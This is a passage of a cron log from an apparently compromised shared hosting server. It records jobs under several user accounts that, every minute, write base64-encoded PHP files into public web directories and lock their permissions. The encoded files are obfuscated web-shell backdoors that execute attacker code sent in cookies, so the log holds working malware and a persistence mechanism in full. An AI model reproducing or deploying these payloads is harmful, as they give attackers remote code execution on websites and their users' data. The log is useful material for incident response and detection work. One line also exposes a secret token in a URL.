GdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:51:02 medusa CROND[28293]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:51:02 medusa CROND[28297]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:51:02 medusa CROND[28294]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 22:51:02 medusa CROND[28301]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:51:02 medusa CROND[28300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:51:02 medusa CROND[28298]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 22:51:02 medusa CROND[28310]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 22:51:02 medusa CROND[28313]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:52:01 medusa CROND[2517]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:52:01 medusa CROND[2612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:52:01 medusa CROND[2796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:52:01 medusa CROND[2795]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:52:01 medusa CROND[2797]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:52:01 medusa CROND[2799]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:52:01 medusa CROND[2800]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:52:01 medusa CROND[2801]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:52:01 medusa CROND[2811]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 22:52:01 medusa CROND[2813]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:52:01 medusa CROND[2818]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:52:01 medusa CROND[2819]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:52:01 medusa CROND[2820]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:53:01 medusa CROND[9212]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:53:01 medusa CROND[9214]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:53:01 medusa CROND[9215]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:53:01 medusa CROND[9216]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:53:01 medusa CROND[9217]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:53:01 medusa CROND[9218]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 22:53:01 medusa CROND[9220]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyA